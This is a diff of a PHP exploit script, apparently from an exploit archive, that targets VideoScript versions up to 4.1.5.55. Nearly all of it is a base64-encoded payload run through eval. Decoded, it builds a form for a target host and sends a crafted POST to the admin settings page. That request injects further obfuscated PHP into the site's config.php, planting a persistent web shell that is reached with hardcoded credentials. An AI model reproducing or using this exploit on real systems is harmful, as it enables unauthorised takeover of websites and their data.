-			"ZzNjd1NrbWJ3QVE5YUtiZHI4YXRVMyUyRjRxQ1pUa1lPQTdBdHNXbFhSR09GdW1DdlB3MExJVFQ5SzVtdVdSZ2QzcVBmYmozMkN2".
-			"a2pXcnpVM0xkWGZIJTJCJTJCNDY2TjFEciUyQnBLVUJkQTcxTjJiJTJCS2JndFpaTDJnMjlINWYzNWRuSGI3JTJCV0Q1TVVoWU9n".
-			"anNWSlBkZVo2aVg3eWdnTGZOYkx4S2J1YzYwYWMlMkZubVowNGY5Y3AyNU5TNHl0Vk9HYk02OW54NlVWNzR4WEc0Wkg3Q2p3TGxO".
-			"cjJyQjhzdnRpTTVpRVlacFVCNlBvSDBZZGdIZWRucURIQ091Y244VUYyQ1lWUjNkc1BsRzdPSnZTJTJGcWpBMWU3TEhDTmNONlpm".
-			"TjU4YVFHb2laU09sTjJiMkFoNGY1QWduNXpmM0dvdHVWVWxFMkE2UVVhMndQSGVZZmVZcEl1aENEOVBpdUtzdjBnekRLZmtlNmcl".
-			"MkJOUUN1YzF4dXlPUURYSiUyRlJLU0IyOGEyYllsalRWV3EyRmNrMTZGcGRtQU1oYmolMkJoUDVQbXdNa3NwcGZOYTlGZnU5bGVV".
-			"UCUyRmJYQUlwWFpUSHNvN2FuZUp4bzRJVXlWeExoUzRLaXFWOHJHR3RZRmNDVVFRMWpFcU9LbEJrZFBtMHNTajM4bGtycyUyRkVi".
-			"eFRkWnglMkIzZ2cyOCUyRkQlMkZObVhLS0l5RUpCTmNMSm1HTWUzZyUyRjBuWG14UVMya2tYJTJGeFRYeWpnYmtiNkU0cDVaVW9m".
-			"SHdhdUJvZmY5VlN3TGg1cGpUUGZzUmpXZUlFZWNabUUxZVQzTllhOGZmS1RTZ09oNUwyOWZPTUF2czloQXBkSmhHcFNDc2dIdTU1".
-			"VzMlMkJxME5QNGRWekZDbTQzNFVsVFIxZGlzSlYlMkJvWDNvNFhLeDdmUEFZeFNqWUVyTUglMkYyRnFUSHdkOVBuZ0dyeHB5aUFq".
-			"QUtmck5ZeFZwMndoWHdXQ0F2RjVFTiUyRk1qRXh5czAxWm95RXBURlFrWkhyMFlaOFc0aEc0c0I2TE5pZDVKd1I1S29BN1ZBa0Ml".
-			"MkYwejZHdmFOM3kzYnNwQ3VnczlETiUyRnYlMkZ0cUtPcDQzRkoxWTAzek1TOVglMkY3akJvMERueHV5ZlhScXRETHZrQkVveFVl".
-			"SnZaOVEya01VcGI2NUdwOGdnUHdibzVuazhGSVVvYkxuViUyQldyQk9rS3VwNEYycGJXS2xoUjNhN2dHZGpOZ3FJSCUyRjdQMTJC".
-			"ZThiOFJqcm52YldmWlBoZGJSUUFBY3JoM2xLUk5UU2owd3REMUN2WnNCTUMwS1NHVU80dWpFYmRUbVpjbjVmV1ZnTmx6WnhvYTJp".
-			"JTJGSmxhbmk5WDJNTTIzUGpGR3U1TCUyQktYbm9QU2Q2bTliYUJ6QTJ2c1N1NmxjQ1hoUU5uNkczbjA2cDQ0N3p1dUEzdHNyUHo1".
-			"MEtSS0lYVUsybjZJck91Sm5aTUVua0NYd3RPZTdjNUlGVXBmZ2Q4amJzNTRoNiUyQmdGYzJZUG56MXpjQzAwREExelBRUmM2SWl1".
-			"N1NRWkdtQmZ5TG1RSVlnakt6TmhmbXR1U2J2cnBTc3VsSzA2TmJqTkpDa0dCMzI0Q0hJS0tNOHpuUDJKZmFhVnB3d0FkMWpSWldO".
-			"dUZOcFJUMng0VjJOYlRmbG9xMEZVVmtYUFMwQ3dRQ0wzNFJya3kzZ0JSSkY2OU9ZdlBaNnBVMWZyTlZSYjF2YTUzRmpTMVFHWFF3".
-			"eE1TdFpkanpBQ1FuN1k2M2tYMmdSc2JsQ3QyZjFXc2tmRnlwZVlaanNkS3NDT0hQRTB2OXV2U2FPcWNLRnIyJTJGRnJMVDhJUnpM".
-			"NWZNSm1Tc2tiTTh4N3QlMkJWaGVMQkRQOVdPaVFvOVdOaERsSk5zMU1VOUhrSTVoaklBdWpZMmljQzBzUW53Qkd4Z05HZHNzT2hk".
-			"U3FjV2t6UDdjMDZaU0hnMzhQVXVtWU1raGx0dWRDRnVST3VRYnhzNFhCQkMzMkZuM1NxclhlWDFJbTVWWU9CNVo4ZzNGNmN3eVR0".
-			"RVBqNzhOZXZIcXN1V2JETEhsdVZDd0xpVFNDODFvU3ZMR1QlMkIwTkZnM1g4VHRUbVVpYWZYWk8yS2daV0JhYUcyV2hBYW5DJTJC".
-			"U0lNV3haZE5SNTNqQkRBUEY4Q3I0ckp3a25OaTYlMkJkdWw5UG91RVJxM3lheE1mOWJkcThsTiUyRkVWNFhrUnViZkYwSmkwRUFN".
-			"Z1VjMnB1RVVLdHglMkZTblhPOEFjOGxkSmJNcWxaR2JNVHYzTDNmTHVQSGxscVBRVUh1JTJGa2g2STB5bG9UaDJCQnpseWdKQTQx".
-			"bjBuWSUyRkRlaFRuU3U4NW5OeGp6MzhTTk1rbGJJWXJmaXFtS2I4MjdESTJKa05ZWXFJMiUyQjJpbDlmTyUyQjBsVSUyRjdFOVV0".
-			"M3VyJTJCNGprNnVjbjV4bmh5OTZzMHpSbFhpWVBWOE10Q0hwQTFQbmVmUkxZVlp5TTl1dnVWRUk1bmN1WkFWblRYM2ZyRCUyQnV5".
-			"MjZCa2RlYmRkYUdhS3BsOHZoMDdwVUJERm1kTzFjaCUyQjEyVyUyRllGakJLcDNSMjklMkJpb2YyVXF6V1ZXRmtSWm1OdjFLRVFY".
-			"MVJvYmtGdElzU0tNJTJGOEhTbHd1YzgwWlk1U2NVV3hFN2h1THNHYWNvYUtqYlZoUTR4QnljZ0s4SkhHSWpkcUllUlpqJTJGZjgx".
-			"TWJTUUFFQjhWZG5vJTJGVkdHaDJIM0tYSFMxJTJCdU40NHpWTEpIUHF2aUdrb2RscjRGRUt6Yk9xNzBxZFhMd0hUWWZyd3l5MUpP".
-			"bU1Ya0Z6U29QYzl3U0slMkIlMkIxVGs1RVQzUiUyQjlaN25wcEg1QkozJTJCQyUyRjh1NGx5U3NVamVMb0QzZXN5MWI5TXNUZlZS".
-			"R051NXV0MXZEd3FHczY2JTJGUHVwd0ZaZWFucnlCRW9PSkFWNDRJZXlKUVJoN0o2UEtDUUZoQVVwVk1mT3YlMkJCalJ4UEY3cUlO".
-			"WTgyT3N5aHpFd01hQ0RUM2tZbTc4T1F5S2lIc0xWRFZYJTJGS01hVjJnc2pnSE1lY1RwQllkT0d6clVnRnJOZDJMREt2eWRHSWxB".
-			"bFUzYndKd3QwVm5qVDZPUGdFejFSZ0Q2dmZhVmpRWTZlMDhTcEVwQ2JoaHVJUmZ0Y2IwajloVTNTMmV3b051ZUVndHVmejJCUWlt".
-			"WHZHWnN0eEZqRzhzT3V3TktCcEt0USUyQktMQ3BoNldadXhiWGw2aWtuVEtSYVBWcE9meVp1aHlXMzdneFIwcmx6WnlJWiUyQmxW".
-			"dVYlMkJNQmFvS2ZueU4zeWhmTjNtSm1oZHVJRDVVa0ZHUmQwMExva2luUVBNTGF1c3FYdWtvQTB3cDlLV09IZ1k5UVBKOUYlMkZi".
-			"bGMlMkJrSG9QdnN1dXBoSVBlRnp0cHMlMkJjaWhmbHpWVGRsV1Z5WGVDdjNFTUd6c2J2bmhOSCUyQm5jZ1ZsVTJKYnlvRyUyQnpI".
-			"TGptZklIemlndmo3dVRzTFJjVGRmY2ROYmV6Rmd6dCUyRnVMWmRhcGZRcjM3UkFzMnE5VkxBUWJBejBTM1JYZzJnMSUyRnVEbktv".
-			"eDFlWlJlcTJ1UHNON0VmdkJuM2VPbiUyRk4wREQybkxBVkZwQlhvJTJGNjZlZTdKcyUyRkMwT1Q5Q3IlMkJEelBlbEtjUVQ4OSUy".
-			"Qkg5ZXRaZHFtakl0akVBOEtKdjk1N0ZqOGY1TU9EelJEaHJveSUyRkJjWll3OW9DazMlMkJLTGFQdGFGZDNDcHEzTmpRR0xHQlVr".
-			"QTg0T2QzJTJCWEpXbm8xNUpnRWE4VXdRQW1Zd1c4MDg3WEcycSUyQlhGQk1CTEI0enBWdHVPY1FQVldZdUZQQ3dYN0R5MHFnTURJ".
-			"b3hGb2sxN3YxVXpCZlg2RjhOS2tIR1NlcDM5b0ttcEJaRExNeVpSV0hFTFF0Z3Nwa1dqcmNaTEQ0UE5jTHF1WDAzakNRYnRCdnow".
-			"SHFHWCUyQk04aks4MEdpanJjUVFxVEE2Z1RKQjlKeDlhbHRjbWQ1V2NVMlRvSXdTZDlZelUzZ1MlMkYyN0N2Z3l2Ulg1Nk96WGRr".
-			"djBzdTBOV0xFUUJkSkdza1o4UEJPcW9aSUhSaUlkdk1oWVZ5RGIxTFZ0clUlMkJBZjY1Zm1QJTJGTDV3UUM2NWw3Z1pJbGdaSWZP".
-			"STJkMWt1Q0swSFlFa3UwbmlQMkFjJTJCTkRrSUFpJTJGcm5iN3VFMFFodGdkblhVdEVHaVBrWGNWaTZXcG5DSHlyWVI0ZlYlMkJH".
-			"ejd5bUkxZEt0RHZBZTZabk9INEZkb2Q1SUR3ZVFCbnZJMSUyQk1EQWtKOSUyQml2cnN5M0ZGWFNYMTV1YWxKdm9HY1hEU0JwcTVj".
-			"eEhTa3ZKVGRXUzBjV1dsVFdodUIlMkI1dDFHYkd5S2d2VWpEeUdMaFpSNVpvZUU2dW92NEF4dU5GcTJzUFd5NzE2SnpFZjdRQTJG".
-			"dGlvUk15UHFZeFIzbTNKcmdsTTU3MTE4amFSeGFTS1BFMVBCMnZFUUhjUHZoYVo5Q01EU2ViSWslMkZGYkF6QXFSakZHNmtFMzFy".
-			"WkZiM2o3U3JQanh6NEZNTGRMR1hKTjFpNWZ2cHFPZ3klMkJOSUdaJTJCSWFQV2MlMkIxRkxaSjB5NWpSd2VUUXJyemFGaVJjRlhi".
-			"QWtEbzB3WWZWY05mMVJOTTB6c0MwMm82cnNTNXAxVjNuNjYlMkZRQ2pSTjg3UnJSVTZUdnkxTlVoUUlnb1ZsV2U4djd2ejMzJTJG".
-			"JTJGOTg4OCUyRiUyRiUyRjhQJTI3JTI5JTI5JTI5JTNCJTJGJTJGJmRibmFtZT0mZGJ1c2VyPSZkYnBhc3M9JlN1Ym1pdERCPVN1".
-			"Ym1pdFxyXG4iOyRyZXMgPSAiIjskYXR0YWNrID0gZnNvY2tvcGVuKCRfUE9TVFsidXJpX0dOSyJdLCRfUE9TVFsicG9ydF9HTksi".
-			"XSwkZXJybm8sICRlcnJzdHIsIDUwKTtpZighJGF0dGFjayl7ZWNobygiPGJyIC8+PGI+d2hhdCB0aGUgZl9fdWNrIGFyZSB5YSBk".
-			"b2luZy4uLiEgPGJyIC8+U3VtdGhpbmcgd2VudCB3cm9uZy4uLiEgPGJyIC8+c3J5LCBObyBlcnJvciBoYW5kbGluZyBAIGFsbCA7".
-			"KS4uLjwvYj4gPGJyIC8+PGJyIC8+PC9kaXY+Iik7cmV0dXJuO31lY2hvKCI8ZGl2IHN0eWxlPVwiZm9udDpub3JtYWwgOHB0IHRh".
-			"aG9tYTtwYWRkaW5nLWxlZnQ6NTBweDtcIj5bK10gPGI+Q29ubmVjdGVkLi4uPGJyLz48L2I+WytdIDxiPlNlbmRpbmcgcmVxdWVz".
-			"dC4uLjxici8+PC9iPiIpO2Z3cml0ZSgkYXR0YWNrLCRqb2tlKTt3aGlsZSghZmVvZigkYXR0YWNrKSl7JHJlcy49ZmdldHMoJGF0".
-			"dGFjayk7fWZjbG9zZSgkYXR0YWNrKTtpZiAoc3RyaXN0cigkcmVzLCAiSEVMTE8hIikgfHwgc3RyaXN0cigkcmVzLCAiSEVMTE8h".
-			"Iikpe2VjaG8gIlsrXTxiPiBFeHBsb2l0ZWQgISA8L2I+PGJyIC8+WytdIDxiPjxmb250IGNvbG9yPVwicmVkXCI+U2hlbGwgSW5q".
-			"ZWN0ZWQuLi48L2I+PC9mb250PjxwPlsrXSA8Yj5Vc2U6IE1TREdOSzpNU0RHTksgYXMgdXNyOnB3ZC48L2I+IDxiciAvPlsrXSA8".
-			"Yj5Mb2FkIGFueSBwYXJ0IG9mIHdlYnNpdGUgeWEgd2FudCwgaXQncyBmdWxseSBpbmplY3RlZC4uLndlIGluamVjdGVkIG91ciBj".
-			"MGRlIGludG8gPGJyIC8+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7XCJjb25maWcucGhwXCIgZmlsZSB3aGlj".
-			"aCBpcyBpbmNsdWRlZCBvbiBldmVyeSBwYWdlIDspPC9iPiA8YnIgLz5bK108Yj4gYWRtaW4gcGFuZWw6PC9iPiBodHRwOi8vIi4k".
-			"X1BPU1RbInVyaV9HTksiXS4kX1BPU1RbInBhdGhfR05LIl0uImFkbWluLzxiciAvPjxiciAvPjxiciAvPjxiciAvPjxiciAvPjxi".
-			"ciAvPjxiciAvPjxzcGFuIHN0eWxlPVwiZm9udDpub3JtYWwgOHB0IHRhaG9tYTtjb2xvcjojQ0NDO1wiPkV4cGxvaXQgQnkgRzRO".
-			"MEsuLi48L3NwYW4+PGJyIC8+PGJyIC8+PC9kaXY+Ijt9IGVsc2UgeyBlY2hvICJbK108Yj4gT29wcyAsICBzcnkgLCAgPHU+bm90".
-			"IFZ1bG5lcmFibGU8L3U+IC4gLiAuICE8L2I+PGJyIC8+PGJyIC8+PC9kaXY+Ijt9Zmx1c2goKTt9IGVsc2UgeyBlY2hvICRGT1JN".
-			"O30NCg==";
-		eval(base64_decode($G4N0K));
-?>
-
-# milw0rm.com [2008-11-24]
+<?php  
+#=============================================#
+#=    [x] VideoScript 3.0 <= 4.1.5.55 Unofficial Shell Injection Exploit   =#
+#=    [x] by G4N0K                                                                                   =#
+#=============================================#
+error_reporting(E_ALL);
+                                $G4N0K ="JEc0TjBLID0gPDw8RU9HDQo8Ym9keSBiZ2NvbG9yPSIjQ0NDQ0NDIj48ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlO21hcmdp".
+			"bjphdXRvO2JvcmRlcjojNjY2NjY2IDFweCBzb2xpZDt3aWR0aDo3MDBweDsiPg0KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50".
+			"ZXI7Ij48cHJlPg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
+			"PT09PT09PT09PT09PT09DQogICAgICAgICAgICAgICAgICAgICAgXyAgICAgIF8gICAgICAgXyAgICAgICAgICBfICAgICAgXyAg".
+			"IF8gDQogICAgICAgICAgICAgICAgICAgICAvIFwgICAgfCB8ICAgICB8IHwgICAgICAgIC8gXCAgICB8IHwgfCB8DQogICAgICAg".
+			"ICAgICAgICAgICAgIC8gXyBcICAgfCB8ICAgICB8IHwgICAgICAgLyBfIFwgICB8IHxffCB8DQogICAgICAgICAgICAgICAgICAg".
+			"LyBfX18gXCAgfCB8X19fICB8IHxfX18gICAvIF9fXyBcICB8ICBfICB8DQogICBJTiBUSEUgTkFNRSBPRiAvXy8gICBcX1wgfF9f".
+			"X19ffCB8X19fX198IC9fLyAgIFxfXCB8X3wgfF98DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg".
+			"ICAgICAgICAgICAgICAgICAgDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
+			"PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgICAgICAgICAgICAgICAgICAgIF9fX18gICBfICBfICAgICBfICAgXyAgICBf".
+			"X18gICAgXyAgX18NCiAgICAgICAgICAgICAgICAgICAgIC8gX19ffCB8IHx8IHwgICB8IFwgfCB8ICAvIF8gXCAgfCB8LyAvDQog".
+			"ICAgICAgICAgICAgICAgICAgIHwgfCAgXyAgfCB8fCB8XyAgfCAgXHwgfCB8IHwgfCB8IHwgJyAvIA0KICAgICAgICAgICAgICAg".
+			"ICAgICB8IHxffCB8IHxfXyAgIF98IHwgfFwgIHwgfCB8X3wgfCB8IC4gXCANCiAgICAgICAgIGVYcGxvIXQgQnkgIFxfX19ffCAg".
+			"ICB8X3wgICB8X3wgXF98ICBcX19fLyAgfF98XF9cDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
+			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KCVZpZGVvU2NyaXB0IDMuMCA8PSA0LjEuNS41NSBVbm9mZmlj".
+			"aWFsIFNoZWxsIEluamVjdGlvbiBFeHBsb2l0DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
+			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCjwvcHJlPjwvZGl2Pg0KRU9HOw0KZWNobyAkRzROMEs7DQokRk9STT0g".
+			"PDw8RkZGDQo8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxmb3JtIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJtYXJnaW46".
+			"YXV0bzt3aWR0aDo2MDBweDtmb250LWZhbWlseTpUYWhvbWE7Zm9udC1zaXplOjhwdDsiIGFjdGlvbj0ieyRfU0VSVkVSWydQSFBf".
+			"U0VMRiddfSIgbWV0aG9kPSJwb3N0Ij4NClBhdGggZXg6IC92aWRlb3NjcmlwdC8NCgk8ZmllbGRzZXQ+DQoJPGxlZ2VuZD48Yj4m".
+			"bmJzcDtFIHggcCBsIG8gaSB0Jm5ic3A7PC9iPjwvbGVnZW5kPjxiciAvPg0KCTxsYWJlbCBmb3I9InVyaV9HTksiIHN0eWxlPSJ3".
+			"aWR0aDoxMDBweDsiPkhvc3Q6PC9sYWJlbD4NCgk8aW5wdXQgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICNjY2M7d2lkdGg6MTcw".
+			"cHg7IiBpZD0idXJpX0dOSyIgbmFtZT0idXJpX0dOSyIgdHlwZT0idGV4dCIgdmFsdWU9IiI+DQoJPGxhYmVsIGZvcj0icG9ydF9H".
+			"TksiPiZuYnNwO1BvcnQ6PC9sYWJlbD4NCgk8aW5wdXQgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICNjY2M7d2lkdGg6NDBweDsi".
+			"IGlkPSJwb3J0X0dOSyIgbmFtZT0icG9ydF9HTksiIHR5cGU9InRleHQiIHZhbHVlPSI4MCI+DQoJPGxhYmVsIGZvcj0icGF0aF9H".
+			"TksiPiZuYnNwO1BhdGg6PC9sYWJlbD4NCgk8aW5wdXQgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICNjY2M7d2lkdGg6NzBweDsi".
+			"IGlkPSJwYXRoX0dOSyIgbmFtZT0icGF0aF9HTksiIHR5cGU9InRleHQiIHZhbHVlPSIvIj48YnIgLz48YnIgLz4NCgk8L2ZpZWxk".
+			"c2V0PjxiciAvPjxiciAvPg0KCTxpbnB1dCBpZD0iZ29fR05LIiBuYW1lPSJnb19HTksiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFj".
+			"dGlvbiEiPg0KCTxpbnB1dCBpZD0icmVzZXRfR05LIiBuYW1lPSJyZXNldF9HTksiIHR5cGU9InJlc2V0IiB2YWx1ZT0iUmVzZXQi".
+			"PjxiciAvPg0KPC9mb3JtPjwvZGl2Pg0KPGJyIC8+PGJyIC8+DQo8L2Rpdj4NCkZGRjsNCmlmIChpc3NldCgkX1BPU1RbJ2dvX0dO".
+			"SyddKSAmJiBpc3NldCgkX1BPU1RbInVyaV9HTksiXSkgJiYgIWVtcHR5KCRfUE9TVFsidXJpX0dOSyJdKSAmJiBpc3NldCgkX1BP".
+			"U1RbInBhdGhfR05LIl0pICYmICFlbXB0eSgkX1BPU1RbInBhdGhfR05LIl0pKSB7JGpva2UgPSAiUE9TVCAiLiRfUE9TVFsicGF0".
+			"aF9HTksiXS4iYWRtaW4vaG9tZXNldC5waHAgSFRUUC8xLjFcclxuSG9zdDogIi4kX1BPU1RbInVyaV9HTksiXS4iXHJcblVzZXIt".
+			"QWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOSkgR2Vja28vMjAwODA1".
+			"MjkwNiBGaXJlZm94LzMuMFxyXG5LZWVwLUFsaXZlOiAzMDBcclxuQ29ubmVjdGlvbjoga2VlcC1hbGl2ZVxyXG5Db250ZW50LVR5".
+			"cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDogNTczMDlcclxuXHJcbmRiaG9z".
+			"dD0lMjIlM0JlcnJvcl9yZXBvcnRpbmclMjgwJTI5JTNCJTI0bGFuZ3VhZ2UlM0QlMjdlbmclMjclM0IlMjRhdXRoKyUzRCsxJTNC".
+			"JTI0bmFtZSUzRCUyNzJlOWYwY2QwMjYzZmI2Yjk4MWQwYWIxNjk3YTRiOTFhJTI3JTNCJTI0cGFzcyUzRCUyNzJlOWYwY2QwMjYz".
+			"ZmI2Yjk4MWQwYWIxNjk3YTRiOTFhJTI3JTNCJTQwaW5pX3Jlc3RvcmUlMjglMjJzYWZlX21vZGUlMjIlMjklM0IlNDBpbmlfcmVz".
+			"dG9yZSUyOCUyMm9wZW5fYmFzZWRpciUyMiUyOSUzQiU0MGluaV9yZXN0b3JlJTI4JTIyc2FmZV9tb2RlX2luY2x1ZGVfZGlyJTIy".
+			"JTI5JTNCJTQwaW5pX3Jlc3RvcmUlMjglMjJzYWZlX21vZGVfZXhlY19kaXIlMjIlMjklM0IlNDBpbmlfcmVzdG9yZSUyOCUyMmRp".
+			"c2FibGVfZnVuY3Rpb25zJTIyJTI5JTNCJTQwaW5pX3Jlc3RvcmUlMjglMjJhbGxvd191cmxfZm9wZW4lMjIlMjklM0IlNDBpbmlf".
+			"c2V0JTI4JTI3ZXJyb3JfbG9nJTI3JTJDTlVMTCUyOSUzQiU0MGluaV9zZXQlMjglMjdsb2dfZXJyb3JzJTI3JTJDMCUyOSUzQmV2".
+			"YWwlMjhnemluZmxhdGUlMjhiYXNlNjRfZGVjb2RlJTI4JTI3Rkp6SGtxUGF0a1UlMkY1NTBJR25qWHhIdnY2YnpBZTBpRTUlMkJz".
+			"dkZWR3RLcVhNWnEwNXgxQ2xWSjNaJTJCRiUyRnpkbk05Wm52MVg1NXRGWUg5ZjFrVlMxbjk5MyUyQmlpb3JEWVd2aUVJQTRHZ25z".
+			"cEdUZDM3RFAlMkJ1VkUxSXZSWlFIJTJGOGx4ZnQ0dXFDSG9rVHRVQVVCQkdzRHVjQVhJOG43ZjBHcDJzWVhrS1lCa0FjR0JkWmhX".
+			"WmxEY0JJdmI1b1hGWiUyRnM3cDVrc3JYc1oyOUVjSGlGRHElMkZsTWdhdjRWTGVxcVRGNnRQdHpJV0J2VFh2Z1ROS2pYRmdxbW9Y".
+			"YTgwRTRaQ2s5eGJ2TlB6aERsZWRPRFUxUEhjdDlKNnZPdGlLNmZnZFRiQm1LM0U0N0FhJTJGVVJCMjR0bGRodEVlNDZUanFwTWI0".
+			"REJHWE1vMjlycGlpM3FoRFRaSXBNY0IxeEJvazMzMkJqY2NmUFhxMFFzWlUlMkZnNGVhcEJ4VDVnaXQxckdkS3R3ZjFydDlPT2lj".
+			"YyUyRmhUbHBlRm1FalJSa1dHV1RKVGtDb2wwWDRBdXdKU2ZGaHRmUDVkT2duNTYxaWwlMkJ3a3prcUNHOWRmVDl6cWMyNzR2ZUll".
+			"U2Q0MUN4VUl2SEZuJTJCdFc3N29FM29ocVN2MDFCWHpUMGxXOVRHc25Lb1pIOEtEYnVEJTJCR3VNRkxPak9BaUVpdDFsMHNtNVFV".
+			"YnNWRUJkU1FuTms3TTFxJTJGaWU2VnJ3N0dYdVFJMDRYRzJjSEJsVFFmY252U2VuN3dzaVl6JTJGWWhTcGdlc0VvM3lkZlVBOUtT".
+			"bWMyTGR6UVNwJTJCdXBmM1dzMGgxMllieExjdVN6VHA2NVBOSjJ1M1IxaEdCMlZUblZBbG9aZFpSdzNRSVFqMVJ4Q0ZNbE1uOXBF".
+			"SGU3a0U0eDRQbVlJdzcyQTB0R2RSbmxCdjc5VmV3aXpZUTBKVzluJTJCenVrdFdpTTdJQlZUR1lmM0JCM0hSblhVOG5VYmpjRnVi".
+			"YmpDN0xvdTBXRVpxdVJDT0R2dlJsd0JacVlScVhVcEtsWDhxN1pmOHVGUEtHdVU5JTJGT2Q5ZkltRWxvbVJRa0Npc2Q1SHJ0dDJv".
+			"JTJCbUxmMmlNbHBxaUFSUVBWcTFZcDdaNm1hU0dJSWVxMmpHTnlPdk1YNXdpUHV5dSUyQjFEcTlxOFRmY3p2dHBxbDY0SlYlMkZZ".
+			"eFdRcHFBdUdLaiUyRndzamglMkZHUUZVMmQ4anI0bnNWWEIxNXd1TVVtcW5xYUthbm8lMkZsSHhJNWcySDlXWEdLQWJSc2JESkt2".
+			"TG4wcVp2YkFwaCUyQk00MTgzTGFnZGtQcDAlMkZZNGhiaCUyQnVGZW9sZWVuJTJGZDJnUXcwbU9UOUZJc2MxZSUyRmZqbmdlRGpp".
+			"RDNrOXdYalRCJTJGazclMkJJQlVlZ3hXcUFmZUVpODdxWlR4aVNmbUhHd05oJTJCdEthY25MbkFBQUYlMkJsQ1djalhLb3R0JTJG".
+			"VDFyOVBkaHBSYzF1cENjJTJGemRkNyUyRjhVYUN2TG93V1UzUWpVQldrSDlNSVQ0c3dickpOeDNrODhLNVRVbDRRd3ZRV2toJTJG".
+			"WFo2WHhFRTh2aTVCMmx0MzRBTlViVTFEVXZySWxrcTNtcnFuZlZqZ2ZjYnpDTDFaZG50YURMQnZ2NEEyZFh1Y3czNlBjWGwzS3dx".
+			"a0pNTXJoUWtOdmJSVEVzNXNCdlU0RzM2OCUyRnpwOGNwNjg1NTBpYWQ0UU12JTJCR2pZWkJHZTZjVThMOHVUMEpYNHpFTWtlTVIx".
+			"eDZmUTJwQlJHMiUyRm8wWDcyc1l4aHYzOWlLQnpneWdwOHV4RlJXVnY2OU9aZkVYOWh2dk9yNzRINSUyRnlxWDZSOSUyRkd3JTJG".
+			"d0tSeVhOeHFOb3VJTThWRHR3YWRSRlM1YmJxJTJGMW5lQkNEeTE1cHlud3lVVk85WDFUb2lvU01nVnZPT3ZuQnJ2Q3g3T1hSU2Nr".
+			"VU85JTJGMUpLNDhzUDZXY3NoRUN0WXpGZmhGakh3R0JJRWlVV0lFZ3NkeFU2cnZJcWlaNE5reUlZJTJCTTFjb2c1a3V0c2ZQWDlB".
+			"REJxT3NmU3hhdGJiUW9hVmdqaUtoVzhOQmdBSWxBQmdxeEtGV0Y3c0RCTiUyRkJOdGZoRzhNZVpiakF1ViUyRiUyQmo0TjhsUWFj".
+			"RmVGbzBBQ0FXMSUyQnl2T0R0YkJ4WFM0M2glMkJrZjVnTDB4cG9tbWhwclQ4RGhEckVGRzlZMFRQdjl3OUZ0RjJnNk80b0JkWGlm".
+			"NjYlMkZ6UzZXNHhsMFk1eGx1QVVuJTJGaGdVTDIyMnhrSGM1cEdlZFNwOE1CQjB4aE5sa2RqUTFGTkI1bERtOFNZVzVtV3djWnFG".
+			"Q1h5R090cUsyemc3VzRvVCUyRlhvdVdpMnBOZHNhUG15ZUdFTmYlMkJaMGplZHVhNHdwYVk4UUVmUE0lMkI0cW9WQVlOeSUyRiUy".
+			"RjBTSzl5cWNJbVFUWjFxQ3U4MEpGZTZIZjBsUlpzUFJpSnoyd1ZyZnA0V2tvcThwOXBtMlJBN25LNVRpYyUyQkF6MWszUGRkWnd5".
+			"bnhlY0N2NUJsQ0Rxa2M5WjU4TlJ0Zzl5WkZ3dFVSODNrUk5Hb2pjRmprbjd2UFJGWFNyN2FPWE1nUGg1N0U4WEozY3BJNUxob29C".
+			"MUZXQXBrRUtITDIwejNseVZwVW9HUmo2QSUyRjE3a3JnMTZrZDU3NzFkTnVSQ1R3THN5UU1UT082QWlOMEFHTXJuQ0hKVU94ZE9n".
+			"d3F6RmlwT2cxM1Q3dzdRNDQxNGlhem9Ua0JZSUl6bjh3Y2VhTDc5SnI0R205QThNc09HajVsMGk5bldOYVFWYWwwZGduM0lvd2dK".
+			"SzN0ck85dXlwMHZmaURsUk5CQVA1aE45SzdZQmY1MlJBbjVibWFkNzJlckltcFl6MXpCUUMlMkJ1YlNZaHdvRTVBVHRGMzglMkZh".
+			"JTJCWlZoU3p1bWFLOUVTSmhOTnppdlYlMkJyQnBDSVVDZzQlMkZzOWFnMU5WeXJWdTQwWnk0YWglMkJRWFlIck1jU0Z6dXcyN0El".
+			"MkZsTG9vU2xLYjZNQkp6Y29wNzQ2NHcya1IxQzVyQSUyRnFrQVlEV2Z3M0ZHSzE5ODNYQjFqUVNNYTN1OWpnOXlrQ2E4aEVEcm9C".
+			"R2NUajV0eE10UEIlMkZIWWRHJTJGakczdHR4aWJWaWtUbHFlbjJjT2FoMm9FT1JENTZFdzJFRjUyamY2RElDUE8zdDZlczl5dkVC".
+			"OFNZWmlGZ25UJTJCT2JJeTl0Rjk2QyUyRlJBbjIwTmw3aXFYJTJGZU5HRHlCek5Lc1ZmeUVENHRhYW9MWldrSUxDT1NCeDZ3VjRs".
+			"Z2kxZFVPbCUyRk96R2wlMkZzMGRqR2VQaVNwRWwxVGtUUk1SbFNvNzhZVjUyWHhqVEVkJTJCRCUyRnh4WWh2T0pYNVJ6MndqTkla".
+			"c1dFJTJGQWFhT1dQZFhZdCUyQlpGcG1WTmlNREk3b2xYeW56amx2QWxKYm03JTJCWEdTYzZlVyUyQktkMkw4VHJoanpDSk5YQ1cx".
